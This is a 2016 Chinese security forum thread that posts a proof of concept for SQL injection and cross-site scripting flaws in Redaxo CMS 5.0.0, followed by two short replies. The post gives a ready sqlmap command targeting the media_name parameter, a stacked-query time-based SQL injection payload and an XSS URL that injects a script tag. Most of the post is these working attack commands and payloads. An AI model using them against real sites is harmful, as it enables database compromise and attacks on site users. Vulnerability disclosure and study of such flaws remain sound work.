90_ 发表于 2016-2-17 09:15:33

Redaxo CMS跨站/注入漏洞

version 5.0.0


 
POC:
注入
sqlmap -u "https://127.0.0.1/redaxo/index.php?page=mediapool%2fmedia&rex_file_category=0&media_name=blub&undefined=%0d" --cookie="PHPSESSID=h9s74l660iongtg71bpkjup0d1" -p media_name

Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: page=mediapool/media&rex_file_category=0&media_name=test');(SELECT * FROM (SELECT(SLEEP(5)))jbWV)#&undefined=
 
XSS
Authentication required: yes
Used browser: FF42
Example:
https://127.0.0.1/redaxo/index.php?page=mediapool/media&info=Datei+tot.<script>alert("xss");</script>&opener_input_field=

哈喽啊 发表于 2016-2-17 18:02:02

哎呦不错哦，好像还没有发的

clocks 发表于 2016-2-17 18:35:30

这个真的是很新的BUG哦。。。
页: [1]
查看完整版本: Redaxo CMS跨站/注入漏洞